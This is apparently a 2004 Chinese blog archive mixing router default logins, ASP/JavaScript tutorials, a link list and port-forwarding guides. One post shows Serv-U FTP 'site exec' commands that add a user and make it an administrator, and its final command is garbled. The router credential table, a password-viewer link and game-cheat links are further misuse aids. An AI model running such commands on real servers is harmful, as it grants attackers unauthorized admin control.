username:
password assword

科迈易通km300A-G
http://192.168.1.1/
username:root
password:root

科迈易通km300A-A
http://192.168.1.1/
username:root or admin
password:123456

sunrise的SR-DSL-AE
http://192.168.1.1/
username:admin
password:0000

sunrise的DSL-802E_R3A
http://10.0.0.2/
username:admin
password:epicrouter
username:user
password assword

UTStar的ut-300R
http://192.168.1.1/
username:root or admin
password:utstar

这些都是一些ADSL设奋的出厂时的默认初始IP,用户名和密码,是要调试这些设奋时必须要知道的东西。

一般调试这些设奋有三种方法,一种是最常见的WEB方法,就是在浏览器中填入设奋的IP,如QX1680,就是在 浏览器地址栏输入10.0.0.2,出现提示栏后,输入用户名admin,密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。

第二种方法就是用TELNET的方法,telnet IP,如早期的合勤642,方法telnet
192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。

第三种方法就是用厂商自带的配置程序来进入配置界面,如CyberLink 6307/6309KG
它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe,
出厂时默认值:路由IP地址 :1 92.168.1.1密码 :
stm,由于这种方法没有前两种方法方便,所以现在的低端产品比较少采用了。

绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后,把本机网卡的IP设置成跟该设奋同一网段,再进行配置,如设奋被改了默认的IP或者密码,大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后,一直按住复位键,然后通电,持续一小段时间后就可以恢复出厂默认值了

shelly 发表于  2004-10-11 10:33:25


   如何修改论坛头象为外部URL    |   阅读全文   |   评论(2)  |  引用(trackback2)  
有人在问如果修改论坛的头像,就做了下面的动画,希望大家喜欢
shelly 发表于  2004-09-21 13:38:32


   XMLHTTP对象及其方法    |   阅读全文   |   评论(2)  |  引用(trackback2)  

FROM :  CSDN
   XMLHTTP对象及其方法
------------------
MSXML中提供了Microsoft.XMLHTTP对象,能够完成从数据包到Request对象的转换以及发送任务。
创建XMLHTTP对象的语句如下:
Set objXML = CreateObject("Msxml2.XMLHTTP") 或
Set objXML = CreateObject(“Microsoft.XMLHTTP”)
' Or, for version 3.0 of XMLHTTP, use:
' Set xml = Server.CreateObject("MSXML2.ServerXMLHTTP")
对象创建后调用Open方法对Request对象进行初始化,语法格式为:
poster.open http-method, url, async, userID, password
Open方法中包含了5个参数,前三个是必要的,后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示: 
http-method: HTTP的通信方式,比如GET或是 POST
url: 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序
async: 一个布尔标识,说明请求是否为异步的。如果是异步通信方式(true),客户机就不等待服务器的响应;如果是同步方式(false),客户机就要等到服务器返回消息后才去执行其他操作
userID 用户ID,用于服务器身份验证
password 用户密码,用于服务器身份验证
XMLHTTP对象的Send方法
用Open方法对Request对象进行初始化后,调用Send方法发送XML数据:
poster.send XML-data
Send方法的参数类型是Variant,可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下,数据包一旦发送完毕,就结束Send进程,客户机执行其他的操作;而在同步方式下,客户机要等到服务器返回确认消息后才结束Send进程。
XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示:
值 说明
0 Response对象已经创建,但XML文档上载过程尚未结束
1 XML文档已经装载完毕
2 XML文档已经装载完毕,正在处理中
3 部分XML文档已经解析
4 文档已经解析完毕,客户端可以接受返回消息
客户机处理响应信息
客户机接收到返回消息后,进行简单的处理,基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的:
● responseTxt:将返回消息作为文本字符串;
● responseXML:将返回消息视为XML文档,在服务器响应消息中含有XML数据时使用;
● responseStream:将返回消息视为Stream对象。

Set objXML = CreateObject("Microsoft.XMLHTTP") '创建XMLHTTP组件;
UrlSend = "http://xxxx/"
objXML.open "GET",UrlSend,false
objXML.send()
ReturnVar = objXML.responseText
'处理返回数据做判断!

'取得网页文件代码函数
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
 exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function

'字节转化成字符串函数
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

比如你的myurl="www.163.com"
Content = getHTTPPage(myurl)
你可以response.write出content来看,然后用instr,mid,replace提炼出页面的主题

2

Function GetHTTPPage(url) '获取服务器生成的html代码
 on error resume next
 dim XmlHttp
 set XmlHttp=Server.createobject("Microsoft.XMLHTTP")
 XmlHttp.open "GET",url,false
 XmlHttp.send()
 'getHTTPPage=Http.responseText
 if XmlHttp.readystate<>4 then exit function
 GetHTTPPage=bytes2BSTR(XmlHttp.responseBody)
 set XmlHttp=nothing
 if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)
  Dim BytesStream,StringReturn
  Set BytesStream = Server.CreateObject("ADODB.Stream")
  BytesStream.Type = 2
  BytesStream.Open
  BytesStream.WriteText vin
  BytesStream.Position = 0
  BytesStream.Charset = "GB2312"
  BytesStream.Position = 2
  StringReturn =BytesStream.ReadText
  BytesStream.close
  Set BytesStream = Nothing
  Bytes2bStr = StringReturn
End Function

3

function GetXml(Url){
try{
 var XmlHttp=Server.CreateObject("Microsoft.XMLHTTP");
 XmlHttp.open("get",Url,false);
 XmlHttp.send();
 return XmlHttp.responseBody;
}catch(e){return null}
}
function Bytes2bStr(vin){
try{
 var BytesStream,StringReturn;
 BytesStream = Server.CreateObject("ADODB.Stream")
 with(BytesStream){
  Type =2;
  Open();
  WriteText(vin);
  Position = 0 ;
  Charset = "GB2312";
  Position = 2;
  StringReturn = ReadText();
  close();
 }
 BytesStream = null
 return StringReturn;
}catch(e){return ""}
}

 

shelly 发表于  2004-09-14 10:02:56


   具有FTP运行权限,利用一例。    |   阅读全文   |   评论(1)  |  引用(trackback2)  
ftp>open ip    
Connected to ip.
220 Serv-U FTP Server v5.0 for WinSock ready...
User (ip:(none)): ftpuser  //输入ftp用户
331 User name okay, please send complete E-mail address as password.
Password:password  //密码
230 User logged in, proceed.
ftp> cd winnt   //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32  //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user cc cc /add   //利用net命令添加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators cc /add  //提升为超级用户
shelly 发表于  2004-08-27 12:25:01


   showModalDialog()、showModelessDialog()方法使用详解    |   阅读全文   |   评论(1)  |  引用(trackback2)  
FROM:http://dev.csdn.net/develop/article/15/15113.shtm

showModalDialog()、showModelessDialog()方法使用详解

 Javascript有许多内建的方法来产生对话框,如:window.alert(), window.confirm(),window.prompt().等。 然而IE提供更多的方法支持对话框。如:

  showModalDialog() (IE 4+ 支持)
  showModelessDialog() (IE 5+ 支持)


 window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框,由于是对话框,因此它并没有一般用window.open()打开的窗口的所有属性。
 window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。

 当我们用showModelessDialog()打开窗口时,不必用window.close()去关闭它,当以非模态方式[IE5]打开时, 打开对话框的窗口仍可以进行其他的操作,即对话框不总是最上面的焦点,当打开它的窗口URL改变时,它自动关闭。而模态[IE4]方式的对话框始终有焦点(焦点不可移走,直到它关闭)。模态对话框和打开它的窗口相联系,因此我们打开另外的窗口时,他们的链接关系依然保存,并且隐藏在活动窗口的下面。

使用方法如下:
 vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures])
 vReturnValue = window.showModelessDialog(sURL [, vArguments] [, sFeatures])
参数说明:
 sURL
 必选参数,类型:字符串。用来指定对话框要显示的文档的URL。
 vArguments
 可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。
 sFeatures
 可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。
  dialogHeight 对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。
   dialogWidth: 对话框宽度。
   dialogLeft: 距离桌面左的距离。
   dialogTop: 离桌面上的距离。
   center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。
   help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。
   resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。
   status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。
  scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。

  还有几个属性是用在HTA中的,在一般的网页中一般不使用。
  dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。
  edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。
  unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。

 传入参数:
 要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:

 test1.htm
 ====================
 <script>
  var mxh1 = new Array("mxh","net_lover","孟子E章")
  var mxh2 = window.open("about:blank","window_mxh")
  // 向对话框传递数组
  window.showModalDialog("test2.htm",mxh1)
  // 向对话框传递window对象
  window.showModalDialog("test3.htm",mxh2)
 </script>

 test2.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为:" + a)
 </script>

 test3.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为window对象,名称:" + a.name)
 </script>

 可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:

 test4.htm
 ===================
 <script>
  var a = window.showModalDialog("test5.htm")
  for(i=0;i<a.length;i++) alert(a[i])
 </script>

 test5.htm
 ===================
 <script>
 function sendTo()
 {
  var a=new Array("a","b")
  window.returnValue = a
  window.close()
 }
 </script>
 <body>
 <form>
  <input value="返回" type=button onclick="sendTo()">
 </form>

 常见问题:
 1,如何在模态对话框中进行提交而不新开窗口?
 如果你 的 浏览器是IE5.5+,可以在对话框中使用带name属性的iframe,提交时可以制定target为该iframe的name。对于IE4+,你可以用高度为0的frame来作:例子,

 test6.htm
 ===================
 <script>
  window.showModalDialog("test7.htm")
 </script>

 test7.htm
 ===================
 if(window.location.search) alert(window.location.search)
 <frameset rows="0,*">
  <frame src="about:blank">
  <frame src="test8.htm">
 </frameset>

 test8.htm
 ===================
 <form target="_self" method="get">
 <input name=txt value="test">
 <input type=submit>
 </form>
 <script>
 if(window.location.search) alert(window.location.search)
 </script>
 2,可以通过http://servername/virtualdirname/test.htm?name=mxh方式直接向对话框传递参数吗?
 答案是不能。但在frame里是可以的。

shelly 发表于  2004-08-24 07:48:48


   Oh,MyGOD 在线查询系统    |   阅读全文   |   评论(0)  |  引用(trackback1)  

在线查询的网站


列车查询
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://train.chinamor.cn.net/index.htm
http://www.china-holiday.com/asp/search/train.htm

飞机查询
http://www.china-holiday.com/asp/search/plane.asp
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://www.cytsonline.com/default1.htm
http://travel.elong.com/air/
http://www.cswa.com/
http://www.china-traveller.com/traffic/

轮船查询
http://www.e-chinaticket.com/ship.asp
http://www.westtour.net/html/lc1.htm

汽车查询
http://www.kuaidian.com.cn/kuaidianchufa.htm
http://www.e-chinaticket.com/bus.asp
http://www.zhongshanbus.com/

域名查询
http:///whois/mcheck.net

歌词搜索
http://www.yemusic.com/

足球彩票
http://lottery.sportscn.com/

福利彩票
http://www.zhcw.com/

体育彩票
http://www.lottery.gov.cn/

世界地图
http://www.go2map.com/

天气预报
http://www.t7online.com/cgi-bin/index?LANG=cn
全国主要城市24小时天气预报
http://weather.china.com.cn/cweather24.php

电视节目查询
http://www.cctv.com/tvguide/index.shtml

翻译全球
http://www.netat.net/
http://babelfish.altavista.com/

标准时间
http://www.zhss.com/index/sj.htm

国际时差表
http://citylife.stinfo.net/shicha.asp

学历查询
http://www.chinadaxuesheng.com/xuelichaxun/index.htm

在网吧上网的请进,可以完整的使用网吧电脑
http://www.zhss.com/index/zhsswwbjm.htm

中国移动话费查询
http://www.chinamobile.com/qita/hfcx.htm
http://service.jsmcc.com/query_index/ 江苏

联通移动话费查询
http://www.cnuninet.com/MobileCommu/fee_inquire.htm

http://www.taurus.com.cn/


安全期测试
http://www.66mm.com/aq.htm

历史上的今天
http://www.people.com.cn/GB/historic/0808/

酒店查询
http://www.xoyo.com/booking/searchhotel.asp

法律查询
http://www.legal-info.com.cn/

保险查询
http://www.cpic.com.cn/index.jsp

判例查询
http://www.legal-info.com.cn/cgi-bin/level.exe?l=lf

税则查询
http://www.businessonline.com.cn/community/query.htm

个人所得税计算器
http://finance.21cn.com/bank/computer/tax.html

合同范本
http://202.102.237.156/law/index2.htm

诉讼范本
http://202.102.237.156/law/index2.htm

通关守则
http://tjc.online.tj.cn/ref/

WTO 查询
http://www.wtoinfo.net.cn/cgi-bin/index.php

展会查询
http://www.ccnf.com/fair/new/search.asp

旅游查询
http://www.xoyo.com/travel/travellineindex.asp

房屋计算工具 - 个人住房贷款计算
http://house.etang.com/html/tools/calculate_loan.htm

房屋计算工具- 个人税费计算
http://house.etang.com/html/tools/calculate_fee.htm

装潢价格估算
http://house.etang.com/html/tools/upholster_eval.htm

公房售价计算
http://house.etang.com/html/tools/commonality_eval.htm

重点城市空气质量
http://service.21cn.com/weather/index.html

美萍中文网站精选的IE在线恢复
http://www.mpsoft.net/clear.htm

ip搜索
http://www.ipsprite.com/

电话区号查询
http://www.ipsprite.com/areacode.html

手机区号查询(仅限中国大陆)
http://www.ipsprite.com/areacode.html

“*”号密码查看器
http://www.7758520.com/rj/soft.asp?id=6

传奇心灵启示外挂
http://7758520.com/down/mir.zip

传奇25个区通用外挂
http://7758520.com/rj/soft.asp?id=248

万能解压软件
http://7758520.com/down/zip.exe

兆信认证网-兆信防伪网络
http://www.p-pass.com/default_normal.asp

中央政府 地方网站 中国经济网 中国教育网 中国电信
http://www.sz.gov.cn/14-dh/default.htm

在线寻呼
http://www.cqrail.com/

線上收耞全球華人廣播
http://radioguide.iwant-in.net/
http://www.yt165.com/130/130-hfcx.htm

网络探测检查
http://www.sky.net.cn/main/view.php?cid=168

世界网络速度测试
http://www.linkwan.com/gb/broadmeter/
http://211.162.227.37/linktest/main.asp
http://www.pc286.com/other/speed.asp

歌词搜索
http://skyhits.com/music/lyric_wangyao.htm
http://www.net-kool.com/
http://www.yemusic.com/

中国城市介绍
http://www.cncn.com/

中华民族
http://www.cncn.com/channel/nation.htm

特服电话号码
http://www.shunde.net/dxfw/especialno.htm

在线电话本
http://www.cnpick.com/www/index.asp?www=电话本

网络速度测试
http://www.linkwan.com/gb/broadmeter/

学历查询
http://www.chinadaxuesheng.com/xuelichaxun/index.htm

网上寻呼
http://www.ucinfo.com/

理财计算器
http://www.icbc.com.cn/finance/calculator-per.shtml

货币换算器
http://lidicity.com/lieguo/huobi.html

最新外汇牌价
http://202.102.239.182/hl/llhlcx.asp

世界货币转换
http://lidicity.com/lieguo/huobi.html

度量衡换算
http://www.cof.net.cn/zsbk/hsb/zdhsb.asp

IP搜索
http://ip.loveroot.com/
http://lrt.3see.com/guest/ip/ip2.htm
http://www.searchcn.net/mobile/other.php
http://www.yofoo.com/ipq/default.asp

高考资料
http://edu.sina.com.cn/exam/index.shtml

十万个为什么
http://100000.goyoyo.com.cn/index.shtml

专利查询
http://www.sipo.gov.cn/sipo/zljs/default.htm

察看源文件
http://www.j3j4.com/

在线杀毒
http://online.rising.com.cn/ravonline/online.htm
http://tech.wuhan.net.cn/scan/

标准时间
http://www.zhss.com/index/sj.htm

注册码注册器搜索
http://astalavista.box.sk/

驱动程序搜索
http://www.mydrivers.com/

匿名访问网址
http://www.anonymizer.com/

主页诊断测试
http://dashboard.netscape.com/company.html

在线gif图象压缩
http://www.gifcruncher.com/cgi-bin/gc/gifcruncher.cgi

常见标准代号一览表
http://www.ndtinfo.net/hichina/biaozhun/daihao.html

中国地区邮政编码和区号
http://www.searchcn.net/mobile/other.php

国际代码区号
http://www.sh.hl.cn/dxyw/yh/yh4.htm
http://www.dqt.com.cn/zxkj/phone/gj%20code.htm

全球国家城市信息
http://www.traveljournals.net/countries/index.asp

历史上的今天
http://www.peopledaily.com.cn/GB/historic/1220/

天网安全检测-木马检测-端口扫描-信息泄漏检查-系统安全性检查
http://www.sky.net.cn/main/view.php?cid=6

金山毒霸在线查毒
http://www.duba.net/antiscan/

车市行情
http://auto.sina.com.cn/buy/newprice/


3721便民服务
http://www.3721.com/info/service.htm

华夏认证中心/北京九千标准质量认证中心
http://www.ccci.com.cn/

北京天天假日酒店预订网
http://www.365holiday.net/online/Asp9999.asp

手机标志验证 手机IMEI号验证 证书查询
http://www.tenaa.com.cn/FlagValidate.aspx

手机号码查询
http://www.imobile.com.cn/
http://www.searchcn.net/mobile/other.php

英汉单词翻译
http://www1.lanlian.com.cn/english/searnch

E-mail地址生成器
http://www.51wc.com/email.cgi

情书生成投递系统
http://www.51wc.com/lovemail/lovemail.htm


香港字典:
英汉字典(英文翻中文):http://www.hkdict.com/
[中文翻英文]:http://www.hkdict.com/cedict_gb.html

译典通翻译专家中心-线上字典:http://www.dreye.com.cn/

在线即时翻译[英汉、汉英、日汉、汉日、俄汉,德汉]可翻句子:
http://cjwei.r00.com/Translation.php

多语种大型机器翻译[浏览翻译、即时翻译、上载翻译……]:
http://www.165net.com/
即时翻译:http://www.165net.com/trans/chinese/instant.htm

shelly 发表于  2004-08-09 09:54:48


   有些可爱的方法给人耳目一新的感觉    |   阅读全文   |   评论(1)  |  引用(trackback2)  

呵呵,从CSDN上看到。的确要用脑去编,也不要太拘泥于书本上的算法。

原贴如下:
例如:
8=RIGHT(100+8,2)=08
懂不懂你看着办吧

向该同志学习、致敬!

shelly 发表于  2004-08-02 07:32:26


   ADODB.Stream 对象    |   阅读全文   |   评论(1)  |  引用(trackback1)  

From: http://www.w3schools.com/ado/ado_ref_stream.asp

Stream Object (ADO version 2.5)

The ADO Stream Object is used to read, write, and manage a stream of binary data or text.

A Stream object can be obtained in three ways:

  • From a URL pointing to a document, a folder, or a Record object
  • By instantiating a Stream object to store data for your application
  • By opening the default Stream object associated with a Record object

Syntax

objectname.property
objectname.method


Properties

Property Description
CharSet Sets or returns a value that specifies into which character set the contents are to be translated. This property is only used with text Stream objects (type is adTypeText)
EOS Returns whether the current position is at the end of the stream or not
LineSeparator Sets or returns the line separator character used in a text Stream object
Mode Sets or returns the available permissions for modifying data
Position Sets or returns the current position (in bytes) from the beginning of a Stream object
Size Returns the size of an open Stream object
State Returns a value describing if the Stream object is open or closed
Type Sets or returns the type of data in a Stream object

Methods

Method Description
Cancel Cancels an execution of an Open call on a Stream object
Close Closes a Stream object
CopyTo Copies a specified number of characters/bytes from one Stream object into another Stream object
Flush Sends the contents of the Stream buffer to the associated underlying object
LoadFromFile Loads the contents of a file into a Stream object
Open Opens a Stream object
Read Reads the entire stream or a specified number of bytes from a binary Stream object
ReadText Reads the entire stream, a line, or a specified number of characters from a text Stream object
SaveToFile Saves the binary contents of a Stream object to a file
SetEOS Sets the current position to be the end of the stream (EOS)
SkipLine Skips a line when reading a text Stream
Write Writes binary data to a binary Stream object
WriteText Writes character data to a text Stream object

shelly 发表于  2004-07-29 12:06:10


   Lycos 的空间广告十分了得    |   阅读全文   |   评论(1)  |  引用(trackback1)  

贴在这里,估需时用。

 

<script language="javascript">

myreg=new RegExp("lycos\.co.uk","i");
if ( !myreg.test("'"+top.location+"'") ) {
 nwreg=new RegExp ("http://([^/]+)?(/([a-z0-9A-Z\-\_]+)?[^']+)","i");
 rn=nwreg.exec("'"+self.location+"'");
 if (parent.frames.length==2) { top.location="http://" + rn[1] + rn[2]; }
 else { top.location="http://" + rn[1] + "/" + rn[3]; }
}

if(window == window.top) {
        var address=window.location;
        var s='<html><head><title>'+'</title></head>'+
        '<frameset cols="*,140" frameborder="0" border="0" framespacing="0" onload="return true;" onunload="return true;">'+
        '<frame src="'+address+'?" name="memberPage" marginwidth="0" marginheight="0" scrolling="auto" noresize>'+
  '<frame src="http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url='+escape(address)+'&gg_bg=&gg_template=&mkw=&cat=noref" name="LycosAdFrame"  marginwidth="0" marginheight="0" scrolling="auto" noresize>'+
        '</frameset>'+
        '</html>';

        document.write(s);     
}
</script>

<空间 BODY>

</pre></xmp></noscript>

<script language="javascript" src="http://ads.tripod.lycos.co.uk/ad/test_frame_size.js"></script>

<script language="javascript">
if (!AD_clientWindowSize()) {
        document.write("<NOSC"+"RIPT>");
}
</script>

<!-- START RedMeasure V4 - Java v1.1  $Revision: 1.11 $ -->
<!-- COPYRIGHT 2000 Red Sheriff Limited -->

<script language="JavaScript"><!--
var pCid="uk_lycos-uk_0";
var w0=1;
var refR=escape(document.referrer);
if (refR.length>=252) refR=refR.substring(0,252)+"...";
//--></script>
<script language="JavaScript1.1"><!--
var w0=0;
//--></script>
<script language="JavaScript1.1" src="http://lycos-eu.imrworldwide.com/a1.js">
</script>
<script language="JavaScript"><!--
if(w0){
var imgN='<img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?ref='+
 refR+'&cid='+pCid+'" width=1 height=1>';
if(navigator.userAgent.indexOf('Mac')!=-1){document.write(imgN);
}else{
 document.write('<applet code="Measure.class" '+
 'codebase="http://lycos-eu.imrworldwide.com/"'+'width=1 height=2>'+
 '<param name="ref" value="'+refR+'">'+'<param name="cid" value="'+pCid+
 '"><textflow>'+imgN+'</textflow></applet>');
 }
}
document.write("<COMMENT>");
//-->
</script>
<noscript>
<img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?cid=uk_lycos-uk_0" width=1 height=1>
</noscript>
</COMMENT>
<!-- END RedMeasure V4 -->

<script type="text/javascript">
        function setCookie(name, value, expires, path, domain, secure) {
           var curCookie = name + "=" + escape(value) +
             ((expires) ? "; expires=" + expires.toGMTString() : "") +
             ((path) ? "; path=" + path : "") +
             ((domain) ? "; domain=" + domain : "") +
             ((secure) ? "; secure" : "");
           document.cookie = curCookie;
        }

        var ad_url = "http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url="+escape(self.location)+"&gg_bg=&gg_template=&mkw=&cat=noref";
        var ref=window.document.referrer;


        if(parent.LycosAdFrame) {
                if(parent.memberPage && parent.memberPage.document.title ) {
                        parent.document.title=parent.memberPage.document.title;
                }

                if(parent.LycosAdFrame && parent.LycosAdFrame.location && (ref != "" && (ref+"?" != window.location) && (ref.substr(ref.length-1,1) != "/")) ) {
                        parent.LycosAdFrame.location.replace(ad_url);
                }
                setCookie("adFrameForcePHP",0,0," ");
                parent.document.body.cols = "*,140";
        }
        else if(top.LycosAdFrame && top.LycosAdFrame.location) {
                if ((ref != "" && (ref+"?" != top.window.location) && (ref.substr(ref.length-1,1) != "?"))) {
                        top.LycosAdFrame.location.replace(ad_url);
                }
                setCookie("adFrameForcePHP",0,0," ");
                top.document.body.cols = "*,140";
        }
        else {
                if (!window.opener) {
                        setCookie("adFrameForcePHP",1,0," ");
                }
                else {
                        setCookie("adFrameForcePHP",0,0," ");
                }
        }
 if (window.top.location.href.indexOf("http://members.lycos.co.uk")!=-1) {
  ad_frame = 1 ;
  window.top.document.body.cols="*,140" ;
 }

function resizeGoogleAdFrame() {
 window.top.document.body.cols = "*,140";
}


 if (ad_frame == 1 && AD_clientWindowSize()) {
  setInterval("resizeGoogleAdFrame()", 30);
 }

</script>

<script type="text/javascript" src="http://ads.tripod.lycos.co.uk/ad/ad.php?cat=noref&mkw=&CC=uk&ord=373373e3&adpref="></script>

shelly 发表于  2004-07-27 14:15:01


 

 

伊泰克 TD-2001 端口影射

   N多路由器端口映射(一)    |   阅读全文   |   评论(0)  |  引用(trackback1)  
神州数码DCAD-6010RA端口映射
 

首先登陆路由器的Web管理界面(默认的ip是:192..168.1.1,用户名是:adsl,密码是:adsl1234)
进入之后依次按如下顺序选择:Services—>NAT
在NAT Option选择NAT Rule Entry。然后点击“添加”,之后出线如下界面,填入相应参数。

设置完成后点击提交就行了。

具体参数说明如下:
Rule Flavor: 规则种类
Rule ID: 判断地址翻译规则的序号,最小的序号最先执行,如有规则符合,不在向更高的ID判断执行。
IF Name: 请选择相应的广域网接口,如PPP,1483B等
Protocol: 选择相应协议(TCP/UDP/ICMP等
Local Address From: 使用规则的本地IP起始值,如果选择全部则填0.0.0.0
Local Address To: 使用规则的本地IP终结值,如果是单一IP,填入IP起始值。如果选择全部则填255.255.255.0
Global Address From: 不用修改
Global Address To: 不用修改
Destination Port From: 目标IP的端口起始值
Destination Port To: 目标IP的端口终结值
Local Port: 本地IP端口

 

 

 

ALCATEL端口转发详解
 

以假设web服务器为例:
假设你web服务器的ip是10.0.0.2,网关的ip(也就是你路由器的局域网ip)是10.0.0.1。
首先在IE里面输入10.0.0.1,输入用户名和密码登陆到路由器管理界面,如下图:

选择”Advanced"高级选项,如下图:

然后选择"Advancde"里面的”NAT"选项,如下图:

选择“NEW”,新建一条转发规则,如下图:

其中协议“protocol”用默认的“tcp”,“Iside IP”也就是你服务器的私网ip为10.0.0.2,“Outside IP”是外部访问者的ip,全部选0。“inside port”和“outside port”都填80,如下图:

最后选择"Apply"整个设置就完成了。


相关文章:
 

注意:端口绑定只适用于启用NAPT状态下设置,在RFC 1483 Bridge模式下不可用。
只可绑定固定端口的服务,对非固定端口的服务不适用。
端口绑定最多可设20条。
以PPPoE 模式下架设FTP Server为例:假设Ftp服务器的内网IP是192.168.1.2。
首先进入MODEM的WEB控制界面,进NAPT选项,选中“Interface”里的“PPP ANY” ,在“Port Num”里填入FTP的端口号“21”,“Protocol”里选“TCP”协议,“Server IP Address”填入FTPServer的IP:“192.168.1.2”点“Add”再点“OK”

然后进入“Save Configuration”里点“Save”保存设置。

最后进“Reboot”点“Reboot”重起MODEM。

测试注意:用公网IP或域名测试端口绑定后的服务,必须在外网(与局域网断开的公网上)测,如在局域网内用公网IP测,因没有通过MODEM的NAPT解释,就会返回(只会登录MODEM或提示错误)。所以请断开局域网,用普通MODEM拨号后再用公网IP或域名测试。

 

 

 

ADSL 2110EH 端口映射
 

这里以假设Web服务器为例:
假设路由器的内网IP是192.168.0.1
在IE中用http://192.168.10.1进入 实达ADSL2110EH ROUTER(默认的用户名和密码是admin、conexant 管理配置面页,选择Services——NAT Rule Configuration——NAT——NAT Options:NAT Rule Entry——Add——进入端口映射添加设置面页,各项设置如下:
Rule ID:  2 (做第二个端口时改为3。依此类推)
Rule Flavor:  RDR 
IF Name:  ALL 
Protocol:  ANY
Local Address From:  192.168.10.* (内网IP)
Local Address To:  192.168.10.* (内网IP)
Global Address From:  0.0.0.0
Global Address To:  0.0.0.0
Destination Port From: 80
Destination Port To:  80
Local Port:  80

设置完后,选择 Submit 提交,最后选择Admin——Commit & Reboot——重启Modem。

 

 

TP-LINK TL-R410端口映射
 

以架设web server为例:路由器内网ip192.168.1.1,web server的内网地址为192.168.1.50;
1.首先登陆到路由器的Web管理界面.
2.点击左边"转发规则"前面的"+"号.
3.在展开的菜单里面点击"虚拟服务器".
4.在右边服务端口下面填"80",ip地址下面填"50",协议选择"TCP",最后别忘了在"启用"下面打勾.
5. 点"保存"之后就可以了.
具体情况请参照下图:

 

 

中兴831端口映射
 

端口映射方法:
Services>NAT>NAT Options>NAT Rule Entry>添加
Rule Flavor:RDR
Rule ID:随便添一个数字(比如添1)
IF Name:ppp-0
Protocol:ANY
Local Address From和Local Address To:填需要映射的内网IP,两个添相同的IP
Destination Port From;Destination Port To;Local Port
如做WEB服务则都填80
如做FTP服务则都填21,依次类推
保存设置
Admin>Commit&Reboot>确认>重起

 

 

全向1680ADSL成功端口映射
 

假如你的网络结构是全向adsl(带路由)+hub 没有服务器,
你想把其中的一机器(192。168。1。14)对外网提供web和ftp服务。
方法:进入全向adsl的设置项目,然后进入高级设置项目,选择虚拟服务器,会看到有三个空白,如果只想在192。168。1。14假设web和ftp可以这样填写:
8080 192.168.1.14按一下add
2121 192.168.1.14按一下add
然后保存设置,路由器重新启动拨号。

 

 

宽频蓝色小精灵路由器中设置端口映射
 

在高级设置页面下点“Distributed Servers Setup(Virtual Serves,虚拟主机设置)”
每个Virtual Server 定义为一个Service Port,所有对这个端口的访问都会重定向到相应的Service IP 所对应的计算机。

例如,假如您要:

在计算机192.168.123.10 上架设FTP 服务器。(port 21)
在计算机192.168.123.20 上架设Email的smtp 服务器。(port 25)
在计算机192.168.123.30 上架设Web 服务器。(port 80)
在计算机192.168.123.40 上架设Pop服务器。(port 110)

那么,您就需要在此页作如下设置:

Service Service Port Service IP Enable

FTP 21 192.168.123.10 √
Email 25 192.168.123.20 √
Web 80 192.168.123.30 √
Post Office 110 192.168.123.40 √

 

 

shelly 发表于  2004-07-26 12:40:11